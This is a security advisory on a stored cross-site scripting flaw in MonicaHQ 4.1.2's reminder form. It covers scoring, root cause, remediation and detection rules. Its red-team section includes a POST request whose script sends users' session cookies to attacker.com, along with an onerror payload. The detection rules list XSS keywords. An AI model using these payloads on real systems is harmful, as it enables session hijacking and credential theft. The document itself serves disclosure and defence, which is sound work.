CVE-2024-54996

Executive Summary

CVE-2024-54996 identifies multiple authenticated Client-Side Injection vulnerabilities in MonicaHQ version 4.1.2. The flaws exist in the title and description parameters of the /people/ID/reminders/create endpoint. An authenticated attacker can inject arbitrary client-side scripts (e.g., JavaScript) into the reminder creation form, leading to stored Cross-Site Scripting (XSS). When other users view the crafted reminder, the injected script executes in their browser context, potentially allowing session hijacking, credential theft, or defacement. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). No official patch has been released as of this analysis.

Supply Chain & Package Security

MonicaHQ is a PHP/Laravel-based open-source personal relationship manager. The application is distributed via GitHub and Docker Hub. No known supply chain compromise has been reported for this specific CVE, but the lack of a patch increases risk for all deployments using version 4.1.2.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated
• User Interaction: Required (UI:R) – victim must view the crafted reminder
• Scope: Changed (S:C) – injection affects other components
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification possible
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the ease of exploitation (authenticated, low complexity) elevate the real-world risk. An attacker with a low-privilege account can persistently target other users.

Deep Dive & Mechanics

The vulnerability resides in the reminder creation functionality. The title and description fields are not properly sanitized or encoded before being stored and later rendered in the browser. When a user visits /people/{id}/reminders/create and submits a reminder, the input is stored in the database without escaping HTML/JavaScript. Upon viewing the reminder list or detail page, the stored payload is rendered as HTML, allowing script execution.

Root Cause: The application uses Laravel's Blade templating engine, but the output is not escaped using {{ }} (which auto-escapes) or the e() helper. Instead, raw HTML is rendered via {!! !!} or similar unescaped output directives.

Attack Flow:

1. Attacker authenticates to MonicaHQ.
2. Attacker navigates to /people/{id}/reminders/create.
3. Attacker injects a payload like <script>alert('XSS')</script> into the title or description field.
4. The payload is stored in the database.
5. When any user (including admins) views the reminder, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (MonicaHQ 4.1.2):

// In a Blade template (e.g., reminders/show.blade.php)
<div class="title">
    {!! $reminder->title !!}
</div>
<div class="description">
    {!! $reminder->description !!}
</div>

Patched Code (Hypothetical Fix):

<div class="title">
    {{ $reminder->title }}
</div>
<div class="description">
    {{ $reminder->description }}
</div>

The patched version uses {{ }} which triggers Laravel's automatic HTML escaping, neutralizing any injected scripts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account on MonicaHQ 4.1.2.
• Access to the reminder creation endpoint.

Exploit Steps:

1. Log in to MonicaHQ.
2. Send a POST request to /people/{id}/reminders/create with a malicious payload.

Example Payload (title parameter):

POST /people/1/reminders/create HTTP/1.1
Host: target-monica-instance.com
Content-Type: application/x-www-form-urlencoded
Cookie: [session_cookie]

title=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&description=Test&reminder_type=1

Alternative Payload (description parameter):

<img src=x onerror=alert(1)>

Lab Setup (Docker):

docker run -d -p 80:80 monicahq/monica:4.1.2

Then access the web UI, create a user, and test the injection.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual characters in title and description fields (e.g., <script>, onerror, javascript:).
• Use WAF rules to block common XSS patterns in POST parameters.

Hardening (Temporary Workaround):

• Apply a Content Security Policy (CSP) header to mitigate script execution:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

• Disable raw Blade output ({!! !!}) in custom templates until a patch is applied.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /people/*/reminders/create containing <script> or onerror patterns.
  • Outbound connections to attacker-controlled domains from the MonicaHQ server.

• Host IOCs:

  • Database entries in the reminders table with title or description containing HTML/JavaScript.
  • Log entries showing unusual characters in reminder fields.

• File IOCs:

  • Modified Blade templates (e.g., reminders/show.blade.php) if an attacker gains file write access.

Detection Engineering

YARA Rule

rule CVE_2024_54996_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting MonicaHQ reminder fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54996"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: MonicaHQ Reminder XSS Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in MonicaHQ reminder creation
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/people/*/reminders/create'
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54996 MonicaHQ Reminder XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/people/"; http_uri; content:"/reminders/create"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Raw Blade Output: If you have access to the source code, replace {!! !!} with {{ }} in all reminder-related templates.
2. Apply CSP: Add a strict Content Security Policy header to mitigate XSS impact.
3. Input Validation: Implement server-side validation to reject HTML tags in title and description fields.

Long-Term Fix:

• Upgrade to a patched version once released by MonicaHQ.
• Conduct a full code audit for similar unescaped output patterns.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS payloads in POST parameters.

Valters IT